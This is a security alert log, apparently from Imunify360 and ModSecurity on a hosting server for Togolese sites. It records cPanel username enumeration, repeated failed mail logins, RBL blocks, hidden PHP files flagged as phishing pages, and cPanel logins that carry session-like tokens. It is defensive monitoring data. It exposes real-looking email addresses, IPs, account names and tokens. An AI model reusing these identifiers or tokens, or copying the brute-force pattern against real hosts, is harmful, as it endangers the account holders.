IM360 WAF: Possible phishing page detected||SC:/home/expirefreenetmas/public_html/.681271701928417.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.14
country_id: 2635167
description:
[2026-06-16 14:32:03 +0000] info [cpaneld] 5.230.153.14 NEW libertepansel:n4JZPvjJG57XvpcK address=5.230.153.14,app=cpaneld,creator=libertepansel,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.246.73.51
country_id: 3277605
description:
Jun 16 14:32:25 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.246.73.51 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.127.131.228
country_id: 102358
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/2089052731 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77350274
name: IM360 WAF: Theme customization in WordPress
abuser: 41.207.181.198
country_id: 2363686
domain: ave2.mairie.tg
description:
IM360 WAF: Theme customization in WordPress||MVN:ARGS:wp_customize||MV:on||WPU:admin_tp9ucocx||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.108
country_id: 2635167
domain: expire.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/expirefreenetmas/public_html/.004960263489409.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 14:32:51 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:21504: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.169
country_id: 2635167
domain: festics.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/njdbfcnn/public_html/.485524793315378.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.104.127.219
country_id: 1269750
description:
Jun 16 14:32:39 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.104.127.219 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.109.126.125
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/606161 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:14:33:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973597&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781620417 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.93.72
country_id: 2635167
description:
[2026-06-16 14:33:26 +0000] info [whostmgrd] 217.181.93.72 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 114.249.210.198
country_id: 1814991
description:
Jun 16 14:33:40 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 114.249.210.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.249.210.198
country_id: 1814991
description:
2026-06-16 14:33:42 dovecot_plain authenticator failed for H=(eb1zlm5aclwcapif) [114.249.210.198]:58846: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.195
country_id: 6252001
description:
[2026-06-16 14:33:23 +0000] info [cpaneld] 64.44.62.195 NEW zykoahbv:DzpXAPVzz7aW_th6 address=64.44.62.195,app=cpaneld,creator=zykoahbv,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.125.210.87
country_id: 2245662
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-21-at-08.37.32.webp 1000w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-21-at-08.37.32-300x169.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-21-at-08.37.32-768x432.webp 768w HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.42
country_id: 2635167
domain: digilix.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ohuuvcqw/public_html/.490005633522975.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.89.202
country_id: 6252001
description:
[2026-06-16 14:35:20 +0000] info [cpaneld] 173.211.89.202 NEW zykoahbv:XxqILKQGVLhwkqPH address=173.211.89.202,app=cpaneld,creator=zykoahbv,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.190.52.231
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/95959a HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.48.230.226
country_id: 1835841
description:
Jun 16 14:37:21 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.48.230.226 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.156
country_id: 2635167
description:
[2026-06-16 14:37:00 +0000] info [cpaneld] 5.230.153.156 NEW dmmkifel:7B_8GY_RvmrYA5b0 address=5.230.153.156,app=cpaneld,creator=dmmkifel,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 14:37:01 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:1152: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.255.112
country_id: 3017382
domain: benatex.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/udkscvak/public_html/.800054184495481.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.19
country_id: 6252001
description:
[2026-06-16 14:36:58 +0000] info [cpaneld] 64.44.59.19 NEW udkscvak:4dIVRXP3U3Actvtb address=64.44.59.19,app=cpaneld,creator=udkscvak,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.42
country_id: 2635167
description:
[2026-06-16 14:37:10 +0000] info [cpaneld] 5.230.133.42 NEW nadngfzn:heUiN0MSgKYg7Bqm address=5.230.133.42,app=cpaneld,creator=nadngfzn,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.197
country_id: 2635167
description:
[2026-06-16 14:36:58 +0000] info [cpaneld] 5.230.153.197 NEW dmmkifel:44RSe829iIfuouhQ address=5.230.153.197,app=cpaneld,creator=dmmkifel,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 23.236.179.231
country_id: 6252001
domain: lacs1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:23.236.179.231||TA:23.236.179.231||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.48.230.226
country_id: 1835841
description:
2026-06-16 14:37:23 dovecot_login authenticator failed for H=([110.174.154.152]) [211.48.230.226]:44674: 535 Incorrect authentication data (set_id=business@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 14:38:04 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:1157: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 14:39:15 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:1158: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 14:40:15 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:14592: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.189.24.198
country_id: 337996
description:
[2026-06-16 14:41:00 +0000] info [cpaneld] 196.189.24.198 - certlogisticstogocom "GET /login/?login_only=1&user=certlogisticstogocom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogisticstogocom (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 14:41:16 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:16512: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.1.154.11
country_id: 3437598
description:
[2026-06-16 14:40:53 +0000] info [cpaneld] 181.1.154.11 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.125.67.78
country_id: 1210997
description:
[2026-06-16 14:40:57 +0000] info [cpaneld] 202.125.67.78 - certlogisticstogo "GET /login/?login_only=1&user=certlogisticstogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogisticstogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.122.249.102
country_id: 1210997
description:
[2026-06-16 14:41:07 +0000] info [cpaneld] 103.122.249.102 - certlogisticstog "GET /login/?login_only=1&user=certlogisticstog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogisticstog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 88.183.87.70
country_id: 3017382
description:
[2026-06-16 14:41:12 +0000] info [cpaneld] 88.183.87.70 - certlogisticst "GET /login/?login_only=1&user=certlogisticst&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogisticst (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.62.147.17
country_id: 99237
description:
[2026-06-16 14:41:18 +0000] info [cpaneld] 5.62.147.17 - certlogistics "GET /login/?login_only=1&user=certlogistics&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogistics (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.114.34.188
country_id: 3895114
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/wp-content/uploads/2018/12/Rapport-activites-ARSE-2017.pdf HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.90.38.153
country_id: 3175395
description:
[2026-06-16 14:40:49 +0000] info [cpaneld] 5.90.38.153 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.5.210
country_id: 2300660
description:
Jun 16 14:40:28 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.5.210 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.6.8.174
country_id: 3932488
description:
[2026-06-16 14:40:54 +0000] info [cpaneld] 179.6.8.174 - certlogisticstogo "GET /login/?login_only=1&user=certlogisticstogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogisticstogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.12.18.95
country_id: 3469034
description:
[2026-06-16 14:41:06 +0000] info [cpaneld] 177.12.18.95 - certlogisticstog "GET /login/?login_only=1&user=certlogisticstog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogisticstog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.52.171.21
country_id: 3508796
description:
[2026-06-16 14:41:25 +0000] info [cpaneld] 179.52.171.21 - certlogisti "GET /login/?login_only=1&user=certlogisti&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogisti (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.234.64.21
country_id: 2661886
description:
[2026-06-16 14:41:33 +0000] info [cpaneld] 94.234.64.21 - alertetg "GET /login/?login_only=1&user=alertetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user alertetg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.84.41.172
country_id: 3895114
description:
[2026-06-16 14:41:48 +0000] info [cpaneld] 138.84.41.172 - certl "GET /login/?login_only=1&user=certl&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certl (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.67.244.226
country_id: 2287781
description:
[2026-06-16 14:41:56 +0000] info [cpaneld] 102.67.244.226 - cer "GET /login/?login_only=1&user=cer&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cer (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 49.150.78.7
country_id: 1694008
description:
[2026-06-16 14:41:29 +0000] info [cpaneld] 49.150.78.7 - alerte "GET /login/?login_only=1&user=alerte&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user alerte (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.178.83.221
country_id: 3703430
description:
[2026-06-16 14:41:31 +0000] info [cpaneld] 181.178.83.221 - certlogis "GET /login/?login_only=1&user=certlogis&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogis (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.115.175.56
country_id: 3923057
description:
[2026-06-16 14:41:36 +0000] info [cpaneld] 181.115.175.56 - certlogi "GET /login/?login_only=1&user=certlogi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 49.228.252.187
country_id: 1605651
description:
[2026-06-16 14:41:41 +0000] info [cpaneld] 49.228.252.187 - certlog "GET /login/?login_only=1&user=certlog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 110.136.42.150
country_id: 1643084
description:
[2026-06-16 14:41:45 +0000] info [cpaneld] 110.136.42.150 - aler "GET /login/?login_only=1&user=aler&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user aler (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 62.217.191.204
country_id: 2017370
description:
[2026-06-16 14:41:44 +0000] info [cpaneld] 62.217.191.204 - certlo "GET /login/?login_only=1&user=certlo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.44.130.66
country_id: 3865483
description:
[2026-06-16 14:41:22 +0000] info [cpaneld] 181.44.130.66 - certlogistic "GET /login/?login_only=1&user=certlogistic&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogistic (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 155.186.66.157
country_id: 6252001
description:
[2026-06-16 14:41:29 +0000] info [cpaneld] 155.186.66.157 - alerte "GET /login/?login_only=1&user=alerte&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user alerte (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.156.20.138
country_id: 3508796
description:
[2026-06-16 14:41:32 +0000] info [cpaneld] 38.156.20.138 - alertetg "GET /login/?login_only=1&user=alertetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user alertetg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.146.17.250
country_id: 3996063
description:
[2026-06-16 14:41:43 +0000] info [cpaneld] 189.146.17.250 - aler "GET /login/?login_only=1&user=aler&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user aler (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.245.245.147
country_id: 3996063
description:
[2026-06-16 14:41:46 +0000] info [cpaneld] 177.245.245.147 - certlo "GET /login/?login_only=1&user=certlo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 2.76.21.70
country_id: 1522867
description:
[2026-06-16 14:41:51 +0000] info [cpaneld] 2.76.21.70 - al "GET /login/?login_only=1&user=al&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user al (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.255.80
country_id: 1733045
description:
[2026-06-16 14:41:53 +0000] info [cpaneld] 180.75.255.80 - cert "GET /login/?login_only=1&user=cert&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cert (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.194.10.186
country_id: 2017370
description:
[2026-06-16 14:41:57 +0000] info [cpaneld] 176.194.10.186 - cer "GET /login/?login_only=1&user=cer&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cer (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.159.17.43
country_id: 3686110
description:
[2026-06-16 14:41:26 +0000] info [cpaneld] 186.159.17.43 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.26.64.96
country_id: 3439705
description:
[2026-06-16 14:41:59 +0000] info [cpaneld] 179.26.64.96 - ce "GET /login/?login_only=1&user=ce&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ce (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 14:42:16 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:6272: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 14:43:17 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:6274: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 14:44:18 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:6275: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 14:45:19 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:1792: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.55.225.142
country_id: 3469034
description:
[2026-06-16 14:45:17 +0000] info [cpaneld] 177.55.225.142 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 118.179.44.11
country_id: 1210997
description:
[2026-06-16 14:45:21 +0000] info [cpaneld] 118.179.44.11 - sotranetogo "GET /login/?login_only=1&user=sotranetogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotranetogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.97.8.243
country_id: 3686110
description:
[2026-06-16 14:45:16 +0000] info [cpaneld] 191.97.8.243 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.157.78.106
country_id: 1643084
description:
103.157.78.106 - - [16/Jun/2026:14:45:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6844312&pdata=https%253A%252F%252Fekeasarl.com%252Fportfolio-style-1%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781621131 HTTP/2.0" 302 0 ekeasarl.com "https://ekeasarl.com/portfolio-style-1/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.157.78.106


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 163.53.25.134
country_id: 1282988
description:
[2026-06-16 14:45:46 +0000] info [cpaneld] 163.53.25.134 - sotran "GET /login/?login_only=1&user=sotran&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotran (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.142.161.255
country_id: 3625428
description:
[2026-06-16 14:45:42 +0000] info [cpaneld] 190.142.161.255 - sotran "GET /login/?login_only=1&user=sotran&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotran (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 217.117.166.239
country_id: 6252001
domain: lacs1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:217.117.166.239||TA:217.117.166.239||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 78.109.156.135
country_id: 1522867
description:
[2026-06-16 14:45:31 +0000] info [cpaneld] 78.109.156.135 - sotraneto "GET /login/?login_only=1&user=sotraneto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotraneto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.247.54.134
country_id: 1269750
description:
[2026-06-16 14:45:51 +0000] info [cpaneld] 103.247.54.134 - sotra "GET /login/?login_only=1&user=sotra&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotra (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 14:46:19 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:3072: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.131.90.26
country_id: 3469034
description:
[2026-06-16 14:45:29 +0000] info [cpaneld] 177.131.90.26 - sotranetog "GET /login/?login_only=1&user=sotranetog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotranetog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.69.233.140
country_id: 290291
description:
[2026-06-16 14:45:36 +0000] info [cpaneld] 77.69.233.140 - sotranet "GET /login/?login_only=1&user=sotranet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotranet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.115.167.216
country_id: 3923057
description:
[2026-06-16 14:45:35 +0000] info [cpaneld] 181.115.167.216 - sotranet "GET /login/?login_only=1&user=sotranet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotranet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.42.11.72
country_id: 3658394
description:
[2026-06-16 14:45:38 +0000] info [cpaneld] 186.42.11.72 - sotrane "GET /login/?login_only=1&user=sotrane&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotrane (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.188.53.223
country_id: 3996063
description:
[2026-06-16 14:45:47 +0000] info [cpaneld] 187.188.53.223 - sotr "GET /login/?login_only=1&user=sotr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.82.64.62
country_id: 1522867
description:
[2026-06-16 14:45:58 +0000] info [cpaneld] 95.82.64.62 - sot "GET /login/?login_only=1&user=sot&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sot (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.178.113.2
country_id: 3865483
description:
[2026-06-16 14:45:26 +0000] info [cpaneld] 201.178.113.2 - sotranetogocom "GET /login/?login_only=1&user=sotranetogocom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotranetogocom (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 14:47:20 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:3584: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.252.202.244
country_id: 3508796
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/65676c HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.200.252
country_id: 6252001
domain: yoto2.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:38.154.200.252||TA:38.154.200.252||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 14:48:30 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:10753: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
